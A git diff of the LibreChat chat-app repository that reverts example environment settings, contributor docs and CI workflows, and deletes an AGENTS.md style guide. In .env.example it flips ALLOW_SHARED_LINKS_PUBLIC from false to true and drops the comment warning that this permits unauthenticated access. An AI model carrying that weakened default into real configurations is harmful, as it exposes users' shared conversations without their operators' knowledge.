diff --git a/.env.example b/.env.example
index ae3537038a..a6ff6157ce 100644
--- a/.env.example
+++ b/.env.example
@@ -65,9 +65,6 @@ CONSOLE_JSON=false
DEBUG_LOGGING=true
DEBUG_CONSOLE=false
-# Enable memory diagnostics (logs heap/RSS snapshots every 60s, auto-enabled with --inspect)
-# MEM_DIAG=true
-
#=============#
# Permissions #
#=============#
@@ -196,10 +193,10 @@ GOOGLE_KEY=user_provided
# GOOGLE_AUTH_HEADER=true
# Gemini API (AI Studio)
-# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
+# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
# Vertex AI
-# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
+# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
# GOOGLE_TITLE_MODEL=gemini-2.0-flash-lite-001
@@ -246,6 +243,10 @@ GOOGLE_KEY=user_provided
# Option A: Use dedicated Gemini API key for image generation
# GEMINI_API_KEY=your-gemini-api-key
+# Option B: Use Vertex AI (no API key needed, uses service account)
+# Set this to enable Vertex AI and allow tool without requiring API keys
+# GEMINI_VERTEX_ENABLED=true
+
# Vertex AI model for image generation (defaults to gemini-2.5-flash-image)
# GEMINI_IMAGE_MODEL=gemini-2.5-flash-image
@@ -513,9 +514,6 @@ OPENID_ADMIN_ROLE_TOKEN_KIND=
OPENID_USERNAME_CLAIM=
# Set to determine which user info property returned from OpenID Provider to store as the User's name
OPENID_NAME_CLAIM=
-# Set to determine which user info claim to use as the email/identifier for user matching (e.g., "upn" for Entra ID)
-# When not set, defaults to: email -> preferred_username -> upn
-OPENID_EMAIL_CLAIM=
# Optional audience parameter for OpenID authorization requests
OPENID_AUDIENCE=
@@ -540,8 +538,6 @@ OPENID_ON_BEHALF_FLOW_USERINFO_SCOPE="user.read" # example for Scope Needed for
OPENID_USE_END_SESSION_ENDPOINT=
# URL to redirect to after OpenID logout (defaults to ${DOMAIN_CLIENT}/login)
OPENID_POST_LOGOUT_REDIRECT_URI=
-# Maximum logout URL length before using logout_hint instead of id_token_hint (default: 2000)
-OPENID_MAX_LOGOUT_URL_LENGTH=
#========================#
# SharePoint Integration #
@@ -625,7 +621,6 @@ EMAIL_PORT=25
EMAIL_ENCRYPTION=
EMAIL_ENCRYPTION_HOSTNAME=
EMAIL_ALLOW_SELFSIGNED=
-# Leave both empty for SMTP servers that do not require authentication
EMAIL_USERNAME=
EMAIL_PASSWORD=
EMAIL_FROM_NAME=
@@ -663,9 +658,6 @@ AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_REGION=
AWS_BUCKET_NAME=
-# Required for path-style S3-compatible providers (MinIO, Hetzner, Backblaze B2, etc.)
-# that don't support virtual-hosted-style URLs (bucket.endpoint). Not needed for AWS S3.
-# AWS_FORCE_PATH_STYLE=false
#========================#
# Azure Blob Storage #
@@ -680,8 +672,7 @@ AZURE_CONTAINER_NAME=files
#========================#
ALLOW_SHARED_LINKS=true
-# Allows unauthenticated access to shared links. Defaults to false (auth required) if not set.
-ALLOW_SHARED_LINKS_PUBLIC=false
+ALLOW_SHARED_LINKS_PUBLIC=true
#==============================#
# Static File Cache Control #
@@ -853,24 +844,3 @@ OPENWEATHER_API_KEY=
# Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it)
# When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration
# MCP_SKIP_CODE_CHALLENGE_CHECK=false
-
-# Circuit breaker: max connect/disconnect cycles before tripping (per server)
-# MCP_CB_MAX_CYCLES=7
-
-# Circuit breaker: sliding window (ms) for counting cycles
-# MCP_CB_CYCLE_WINDOW_MS=45000
-
-# Circuit breaker: cooldown (ms) after the cycle breaker trips
-# MCP_CB_CYCLE_COOLDOWN_MS=15000
-
-# Circuit breaker: max consecutive failed connection rounds before backoff
-# MCP_CB_MAX_FAILED_ROUNDS=3
-
-# Circuit breaker: sliding window (ms) for counting failed rounds
-# MCP_CB_FAILED_WINDOW_MS=120000
-
-# Circuit breaker: base backoff (ms) after failed round threshold is reached
-# MCP_CB_BASE_BACKOFF_MS=30000
-
-# Circuit breaker: max backoff cap (ms) for exponential backoff
-# MCP_CB_MAX_BACKOFF_MS=300000
diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md
index ae9e6d8e4b..ad0a75ab9b 100644
--- a/.github/CONTRIBUTING.md
+++ b/.github/CONTRIBUTING.md
@@ -26,14 +26,18 @@ Project maintainers have the right and responsibility to remove, edit, or reject
## 1. Development Setup
-1. Use Node.js v20.19.0+ or ^22.12.0 or >= 23.0.0.
-2. Run `npm run smart-reinstall` to install dependencies (uses Turborepo). Use `npm run reinstall` for a clean install, or `npm ci` for a fresh lockfile-based install.
-3. Build all compiled code: `npm run build`.
-4. Setup and run unit tests:
+1. Use Node.JS 20.x.
+2. Install typescript globally: `npm i -g typescript`.
+3. Run `npm ci` to install dependencies.
+4. Build the data provider: `npm run build:data-provider`.
+5. Build data schemas: `npm run build:data-schemas`.
+6. Build API methods: `npm run build:api`.
+7. Setup and run unit tests:
- Copy `.env.test`: `cp api/test/.env.test.example api/test/.env.test`.
- Run backend unit tests: `npm run test:api`.
- Run frontend unit tests: `npm run test:client`.
-5. Setup and run integration tests:
+8. Setup and run integration tests:
+ - Build client: `cd client && npm run build`.
- Create `.env`: `cp .env.example .env`.
- Install [MongoDB Community Edition](https://www.mongodb.com/docs/manual/administration/install-community/), ensure that `mongosh` connects to your local instance.
- Run: `npx install playwright`, then `npx playwright install`.
@@ -44,11 +48,11 @@ Project maintainers have the right and responsibility to remove, edit, or reject
## 2. Development Notes
1. Before starting work, make sure your main branch has the latest commits with `npm run update`.
-2. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
+3. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
3. After your changes, reinstall packages in your current branch using `npm run reinstall` and ensure everything still works.
- Restart the ESLint server ("ESLint: Restart ESLint Server" in VS Code command bar) and your IDE after reinstalling or updating.
4. Clear web app localStorage and cookies before and after changes.
-5. To check for introduced errors, build all compiled code: `npm run build`.
+5. For frontend changes, compile typescript before and after changes to check for introduced errors: `cd client && npm run build`.
6. Run backend unit tests: `npm run test:api`.
7. Run frontend unit tests: `npm run test:client`.
8. Run integration tests: `npm run e2e`.
@@ -114,45 +118,50 @@ Apply the following naming conventions to branches, labels, and other Git-relate
- **JS/TS:** Directories and file names: Descriptive and camelCase. First letter uppercased for React files (e.g., `helperFunction.ts, ReactComponent.tsx`).
- **Docs:** Directories and file names: Descriptive and snake_case (e.g., `config_files.md`).
-## 7. Coding Standards
-
-For detailed coding conventions, workspace boundaries, and architecture guidance, refer to the [`AGENTS.md`](../AGENTS.md) file at the project root. It covers code style, type safety, import ordering, iteration/performance expectations, frontend rules, testing, and development commands.
-
-## 8. TypeScript Conversion
+## 7. TypeScript Conversion
1. **Original State**: The project was initially developed entirely in JavaScript (JS).
-2. **Frontend**: Fully transitioned to TypeScript.
+2. **Frontend Transition**:
+ - We are in the process of transitioning the frontend from JS to TypeScript (TS).
+ - The transition is nearing completion.
+ - This conversion is feasible due to React's capability to intermix JS and TS prior to code compilation. It's standard practice to compile/bundle the code in such scenarios.
-3. **Backend**:
- - The legacy Express.js server remains in `/api` as JavaScript.
- - All new backend code is written in TypeScript under `/packages/api`, which is compiled and consumed by `/api`.
- - Shared database logic lives in `/packages/data-schemas` (TypeScript).
- - Shared frontend/backend API types and services live in `/packages/data-provider` (TypeScript).
- - Minimize direct changes to `/api`; prefer adding TypeScript code to `/packages/api` and importing it.
+3. **Backend Considerations**:
+ - Transitioning the backend to TypeScript would be a more intricate process, especially for an established Express.js server.
+
+ - **Options for Transition**:
+ - **Single Phase Overhaul**: This involves converting the entire backend to TypeScript in one go. It's the most straightforward approach but can be disruptive, especially for larger codebases.
+
+ - **Incremental Transition**: Convert parts of the backend progressively. This can be done by:
+ - Maintaining a separate directory for TypeScript files.
+ - Gradually migrating and testing individual modules or routes.
+ - Using a build tool like `tsc` to compile TypeScript files independently until the entire transition is complete.
+
+ - **Compilation Considerations**:
+ - Introducing a compilation step for the server is an option. This would involve using tools like `ts-node` for development and `tsc` for production builds.
+ - However, this is not a conventional approach for Express.js servers and could introduce added complexity, especially in terms of build and deployment processes.
+
+ - **Current Stance**: At present, this backend transition is of lower priority and might not be pursued.
-## 9. Module Import Conventions
+## 8. Module Import Conventions
-Imports are organized into three sections (in order):
+- `npm` packages first,
+ - from longest line (top) to shortest (bottom)
-1. **Package imports** — sorted from shortest to longest line length.
- - `react` is always the first import.
- - Multi-line (stacked) imports count their total character length across all lines for sorting.
+- Followed by typescript types (pertains to data-provider and client workspaces)
+ - longest line (top) to shortest (bottom)
+ - types from package come first
-2. **`import type` imports** — sorted from longest to shortest line length.
- - Package type imports come first, then local type imports.
- - Line length sorting resets between the package and local sub-groups.
-
-3. **Local/project imports** — sorted from longest to shortest line length.
- - Multi-line (stacked) imports count their total character length across all lines for sorting.
- - Imports with alias `~` are treated the same as relative imports with respect to line length.
-
-- Consolidate value imports from the same module as much as possible.
-- Always use standalone `import type { ... }` for type imports; never use inline `type` keyword inside value imports (e.g., `import { Foo, type Bar }` is wrong).
+- Lastly, local imports
+ - longest line (top) to shortest (bottom)
+ - imports with alias `~` treated the same as relative import with respect to line length
**Note:** ESLint will automatically enforce these import conventions when you run `npm run lint --fix` or through pre-commit hooks.
-For the full set of coding standards, see [`AGENTS.md`](../AGENTS.md).
+---
+
+Please ensure that you adapt this summary to fit the specific context and nuances of your project.
---
diff --git a/.github/workflows/backend-review.yml b/.github/workflows/backend-review.yml
index 038c90627e..2379b8fee7 100644
--- a/.github/workflows/backend-review.yml
+++ b/.github/workflows/backend-review.yml
@@ -9,159 +9,11 @@ on:
paths:
- 'api/**'
- 'packages/**'
-
-env:
- NODE_ENV: CI
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
-
jobs:
- build:
- name: Build packages
+ tests_Backend:
+ name: Run Backend unit tests
+ timeout-minutes: 60
runs-on: ubuntu-latest
- timeout-minutes: 15
- steps:
- - uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
- uses: actions/setup-node@v4
- with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- api/node_modules
- packages/api/node_modules
- packages/data-provider/node_modules
- packages/data-schemas/node_modules
- key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
-
- - name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
- run: npm ci
-
- - name: Restore data-provider build cache
- id: cache-data-provider
- uses: actions/cache@v4
- with:
- path: packages/data-provider/dist
- key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
-
- - name: Build data-provider
- if: steps.cache-data-provider.outputs.cache-hit != 'true'
- run: npm run build:data-provider
-
- - name: Restore data-schemas build cache
- id: cache-data-schemas
- uses: actions/cache@v4
- with:
- path: packages/data-schemas/dist
- key: build-data-schemas-${{ runner.os }}-${{ hashFiles('packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
-
- - name: Build data-schemas
- if: steps.cache-data-schemas.outputs.cache-hit != 'true'
- run: npm run build:data-schemas
-
- - name: Restore api build cache
- id: cache-api
- uses: actions/cache@v4
- with:
- path: packages/api/dist
- key: build-api-${{ runner.os }}-${{ hashFiles('packages/api/src/**', 'packages/api/tsconfig*.json', 'packages/api/server-rollup.config.js', 'packages/api/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json', 'packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json') }}
-
- - name: Build api
- if: steps.cache-api.outputs.cache-hit != 'true'
- run: npm run build:api
-
- - name: Upload data-provider build
- uses: actions/upload-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
- retention-days: 2
-
- - name: Upload data-schemas build
- uses: actions/upload-artifact@v4
- with:
- name: build-data-schemas
- path: packages/data-schemas/dist
- retention-days: 2
-
- - name: Upload api build
- uses: actions/upload-artifact@v4
- with:
- name: build-api
- path: packages/api/dist
- retention-days: 2
-
- circular-deps:
- name: Circular dependency checks
- needs: build
- runs-on: ubuntu-latest
- timeout-minutes: 10
- steps:
- - uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
- uses: actions/setup-node@v4
- with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- api/node_modules
- packages/api/node_modules
- packages/data-provider/node_modules
- packages/data-schemas/node_modules
- key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
-
- - name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
- run: npm ci
-
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
-
- - name: Download data-schemas build
- uses: actions/download-artifact@v4
- with:
- name: build-data-schemas
- path: packages/data-schemas/dist
-
- - name: Rebuild @librechat/api and check for circular dependencies
- run: |
- output=$(npm run build:api 2>&1)
- echo "$output"
- if echo "$output" | grep -q "Circular depend"; then
- echo "Error: Circular dependency detected in @librechat/api!"
- exit 1
- fi
-
- - name: Detect circular dependencies in rollup
- working-directory: ./packages/data-provider
- run: |
- output=$(npm run rollup:api)
- echo "$output"
- if echo "$output" | grep -q "Circular dependency"; then
- echo "Error: Circular dependency detected!"
- exit 1
- fi
-
- test-api:
- name: 'Tests: api'
- needs: build
- runs-on: ubuntu-latest
- timeout-minutes: 15
env:
MONGO_URI: ${{ secrets.MONGO_URI }}
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
@@ -171,187 +23,54 @@ jobs:
BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
BAN_DURATION: ${{ secrets.BAN_DURATION }}
BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
+ NODE_ENV: CI
+ NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
steps:
- uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
+ - name: Use Node.js 20.x
uses: actions/setup-node@v4
with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- api/node_modules
- packages/api/node_modules
- packages/data-provider/node_modules
- packages/data-schemas/node_modules
- key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+ node-version: 20
+ cache: 'npm'
- name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
+ - name: Install Data Provider Package
+ run: npm run build:data-provider
- - name: Download data-schemas build
- uses: actions/download-artifact@v4
- with:
- name: build-data-schemas
- path: packages/data-schemas/dist
+ - name: Install Data Schemas Package
+ run: npm run build:data-schemas
- - name: Download api build
- uses: actions/download-artifact@v4
- with:
- name: build-api
- path: packages/api/dist
+ - name: Install API Package
+ run: npm run build:api
- name: Create empty auth.json file
run: |
mkdir -p api/data
echo '{}' > api/data/auth.json
+ - name: Check for Circular dependency in rollup
+ working-directory: ./packages/data-provider
+ run: |
+ output=$(npm run rollup:api)
+ echo "$output"
+ if echo "$output" | grep -q "Circular dependency"; then
+ echo "Error: Circular dependency detected!"
+ exit 1
+ fi
+
- name: Prepare .env.test file
run: cp api/test/.env.test.example api/test/.env.test
- name: Run unit tests
run: cd api && npm run test:ci
- test-data-provider:
- name: 'Tests: data-provider'
- needs: build
- runs-on: ubuntu-latest
- timeout-minutes: 10
- steps:
- - uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
- uses: actions/setup-node@v4
- with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- api/node_modules
- packages/api/node_modules
- packages/data-provider/node_modules
- packages/data-schemas/node_modules
- key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
-
- - name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
- run: npm ci
-
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
-
- - name: Run unit tests
+ - name: Run librechat-data-provider unit tests
run: cd packages/data-provider && npm run test:ci
- test-data-schemas:
- name: 'Tests: data-schemas'
- needs: build
- runs-on: ubuntu-latest
- timeout-minutes: 10
- steps:
- - uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
- uses: actions/setup-node@v4
- with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- api/node_modules
- packages/api/node_modules
- packages/data-provider/node_modules
- packages/data-schemas/node_modules
- key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
-
- - name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
- run: npm ci
-
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
-
- - name: Download data-schemas build
- uses: actions/download-artifact@v4
- with:
- name: build-data-schemas
- path: packages/data-schemas/dist
-
- - name: Run unit tests
+ - name: Run @librechat/data-schemas unit tests
run: cd packages/data-schemas && npm run test:ci
- test-packages-api:
- name: 'Tests: @librechat/api'
- needs: build
- runs-on: ubuntu-latest
- timeout-minutes: 10
- steps:
- - uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
- uses: actions/setup-node@v4
- with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- api/node_modules
- packages/api/node_modules
- packages/data-provider/node_modules
- packages/data-schemas/node_modules
- key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
-
- - name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
- run: npm ci
-
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
-
- - name: Download data-schemas build
- uses: actions/download-artifact@v4
- with:
- name: build-data-schemas
- path: packages/data-schemas/dist
-
- - name: Download api build
- uses: actions/download-artifact@v4
- with:
- name: build-api
- path: packages/api/dist
-
- - name: Run unit tests
+ - name: Run @librechat/api unit tests
run: cd packages/api && npm run test:ci
diff --git a/.github/workflows/frontend-review.yml b/.github/workflows/frontend-review.yml
index 9c2d4a37b1..989e2e4abe 100644
--- a/.github/workflows/frontend-review.yml
+++ b/.github/workflows/frontend-review.yml
@@ -2,7 +2,7 @@ name: Frontend Unit Tests
on:
pull_request:
- branches:
+ branches:
- main
- dev
- dev-staging
@@ -11,200 +11,51 @@ on:
- 'client/**'
- 'packages/data-provider/**'
-env:
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
-
jobs:
- build:
- name: Build packages
+ tests_frontend_ubuntu:
+ name: Run frontend unit tests on Ubuntu
+ timeout-minutes: 60
runs-on: ubuntu-latest
- timeout-minutes: 15
+ env:
+ NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
steps:
- uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
+ - name: Use Node.js 20.x
uses: actions/setup-node@v4
with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- client/node_modules
- packages/client/node_modules
- packages/data-provider/node_modules
- key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+ node-version: 20
+ cache: 'npm'
- name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Restore data-provider build cache
- id: cache-data-provider
- uses: actions/cache@v4
- with:
- path: packages/data-provider/dist
- key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
-
- - name: Build data-provider
- if: steps.cache-data-provider.outputs.cache-hit != 'true'
- run: npm run build:data-provider
-
- - name: Restore client-package build cache
- id: cache-client-package
- uses: actions/cache@v4
- with:
- path: packages/client/dist
- key: build-client-package-${{ runner.os }}-${{ hashFiles('packages/client/src/**', 'packages/client/tsconfig*.json', 'packages/client/rollup.config.js', 'packages/client/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
-
- - name: Build client-package
- if: steps.cache-client-package.outputs.cache-hit != 'true'
- run: npm run build:client-package
-
- - name: Upload data-provider build
- uses: actions/upload-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
- retention-days: 2
-
- - name: Upload client-package build
- uses: actions/upload-artifact@v4
- with:
- name: build-client-package
- path: packages/client/dist
- retention-days: 2
-
- test-ubuntu:
- name: 'Tests: Ubuntu'
- needs: build
- runs-on: ubuntu-latest
- timeout-minutes: 15
- steps:
- - uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
- uses: actions/setup-node@v4
- with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- client/node_modules
- packages/client/node_modules
- packages/data-provider/node_modules
- key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
-
- - name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
- run: npm ci
-
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
-
- - name: Download client-package build
- uses: actions/download-artifact@v4
- with:
- name: build-client-package
- path: packages/client/dist
+ - name: Build Client
+ run: npm run frontend:ci
- name: Run unit tests
run: npm run test:ci --verbose
working-directory: client
- test-windows:
- name: 'Tests: Windows'
- needs: build
+ tests_frontend_windows:
+ name: Run frontend unit tests on Windows
+ timeout-minutes: 60
runs-on: windows-latest
- timeout-minutes: 20
+ env:
+ NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
steps:
- uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
+ - name: Use Node.js 20.x
uses: actions/setup-node@v4
with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- client/node_modules
- packages/client/node_modules
- packages/data-provider/node_modules
- key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+ node-version: 20
+ cache: 'npm'
- name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
-
- - name: Download client-package build
- uses: actions/download-artifact@v4
- with:
- name: build-client-package
- path: packages/client/dist
+ - name: Build Client
+ run: npm run frontend:ci
- name: Run unit tests
run: npm run test:ci --verbose
- working-directory: client
-
- build-verify:
- name: Vite build verification
- needs: build
- runs-on: ubuntu-latest
- timeout-minutes: 15
- steps:
- - uses: actions/checkout@v4
-
- - name: Use Node.js 20.19
- uses: actions/setup-node@v4
- with:
- node-version: '20.19'
-
- - name: Restore node_modules cache
- id: cache-node-modules
- uses: actions/cache@v4
- with:
- path: |
- node_modules
- client/node_modules
- packages/client/node_modules
- packages/data-provider/node_modules
- key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
-
- - name: Install dependencies
- if: steps.cache-node-modules.outputs.cache-hit != 'true'
- run: npm ci
-
- - name: Download data-provider build
- uses: actions/download-artifact@v4
- with:
- name: build-data-provider
- path: packages/data-provider/dist
-
- - name: Download client-package build
- uses: actions/download-artifact@v4
- with:
- name: build-client-package
- path: packages/client/dist
-
- - name: Build client
- run: cd client && npm run build:ci
+ working-directory: client
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
index 980be5b8eb..86d4a3ddae 100644
--- a/.gitignore
+++ b/.gitignore
@@ -154,16 +154,16 @@ claude-flow.config.json
.swarm/
.hive-mind/
.claude-flow/
-/memory/
-/coordination/
-/memory/claude-flow-data.json
-/memory/sessions/*
-!/memory/sessions/README.md
-/memory/agents/*
-!/memory/agents/README.md
-/coordination/memory_bank/*
-/coordination/subtasks/*
-/coordination/orchestration/*
+memory/
+coordination/
+memory/claude-flow-data.json
+memory/sessions/*
+!memory/sessions/README.md
+memory/agents/*
+!memory/agents/README.md
+coordination/memory_bank/*
+coordination/subtasks/*
+coordination/orchestration/*
*.db
*.db-journal
*.db-wal
diff --git a/AGENTS.md b/AGENTS.md
deleted file mode 100644
index ec44607aa7..0000000000
--- a/AGENTS.md
+++ /dev/null
@@ -1,166 +0,0 @@
-# LibreChat
-
-## Project Overview
-
-LibreChat is a monorepo with the following key workspaces:
-
-| Workspace | Language | Side | Dependency | Purpose |
-|---|---|---|---|---|
-| `/api` | JS (legacy) | Backend | `packages/api`, `packages/data-schemas`, `packages/data-provider`, `@librechat/agents` | Express server — minimize changes here |
-| `/packages/api` | **TypeScript** | Backend | `packages/data-schemas`, `packages/data-provider` | New backend code lives here (TS only, consumed by `/api`) |
-| `/packages/data-schemas` | TypeScript | Backend | `packages/data-provider` | Database models/schemas, shareable across backend projects |
-| `/packages/data-provider` | TypeScript | Shared | — | Shared API types, endpoints, data-service — used by both frontend and backend |
-| `/client` | TypeScript/React | Frontend | `packages/data-provider`, `packages/client` | Frontend SPA |
-| `/packages/client` | TypeScript | Frontend | `packages/data-provider` | Shared frontend utilities |
-
-The source code for `@librechat/agents` (major backend dependency, same team) is at `/home/danny/agentus`.
-
----
-
-## Workspace Boundaries
-
-- **All new backend code must be TypeScript** in `/packages/api`.
-- Keep `/api` changes to the absolute minimum (thin JS wrappers calling into `/packages/api`).
-- Database-specific shared logic goes in `/packages/data-schemas`.
-- Frontend/backend shared API logic (endpoints, types, data-service) goes in `/packages/data-provider`.
-- Build data-provider from project root: `npm run build:data-provider`.
-
----
-
-## Code Style
-
-### Structure and Clarity
-
-- **Never-nesting**: early returns, flat code, minimal indentation. Break complex operations into well-named helpers.
-- **Functional first**: pure functions, immutable data, `map`/`filter`/`reduce` over imperative loops. Only reach for OOP when it clearly improves domain modeling or state encapsulation.
-- **No dynamic imports** unless absolutely necessary.
-
-### DRY
-
-- Extract repeated logic into utility functions.
-- Reusable hooks / higher-order components for UI patterns.
-- Parameterized helpers instead of near-duplicate functions.
-- Constants for repeated values; configuration objects over duplicated init code.
-- Shared validators, centralized error handling, single source of truth for business rules.
-- Shared typing system with interfaces/types extending common base definitions.
-- Abstraction layers for external API interactions.
-
-### Iteration and Performance
-
-- **Minimize looping** — especially over shared data structures like message arrays, which are iterated frequently throughout the codebase. Every additional pass adds up at scale.
-- Consolidate sequential O(n) operations into a single pass whenever possible; never loop over the same collection twice if the work can be combined.
-- Choose data structures that reduce the need to iterate (e.g., `Map`/`Set` for lookups instead of `Array.find`/`Array.includes`).
-- Avoid unnecessary object creation; consider space-time tradeoffs.
-- Prevent memory leaks: careful with closures, dispose resources/event listeners, no circular references.
-
-### Type Safety
-
-- **Never use `any`**. Explicit types for all parameters, return values, and variables.
-- **Limit `unknown`** — avoid `unknown`, `Record`, and `as unknown as T` assertions. A `Record` almost always signals a missing explicit type definition.
-- **Don't duplicate types** — before defining a new type, check whether it already exists in the project (especially `packages/data-provider`). Reuse and extend existing types rather than creating redundant definitions.
-- Use union types, generics, and interfaces appropriately.
-- All TypeScript and ESLint warnings/errors must be addressed — do not leave unresolved diagnostics.
-
-### Comments and Documentation
-
-- Write self-documenting code; no inline comments narrating what code does.
-- JSDoc only for complex/non-obvious logic or intellisense on public APIs.
-- Single-line JSDoc for brief docs, multi-line for complex cases.
-- Avoid standalone `//` comments unless absolutely necessary.
-
-### Import Order
-
-Imports are organized into three sections:
-
-1. **Package imports** — sorted shortest to longest line length (`react` always first).
-2. **`import type` imports** — sorted longest to shortest (package types first, then local types; length resets between sub-groups).
-3. **Local/project imports** — sorted longest to shortest.
-
-Multi-line imports count total character length across all lines. Consolidate value imports from the same module. Always use standalone `import type { ... }` — never inline `type` inside value imports.
-
-### JS/TS Loop Preferences
-
-- **Limit looping as much as possible.** Prefer single-pass transformations and avoid re-iterating the same data.
-- `for (let i = 0; ...)` for performance-critical or index-dependent operations.
-- `for...of` for simple array iteration.
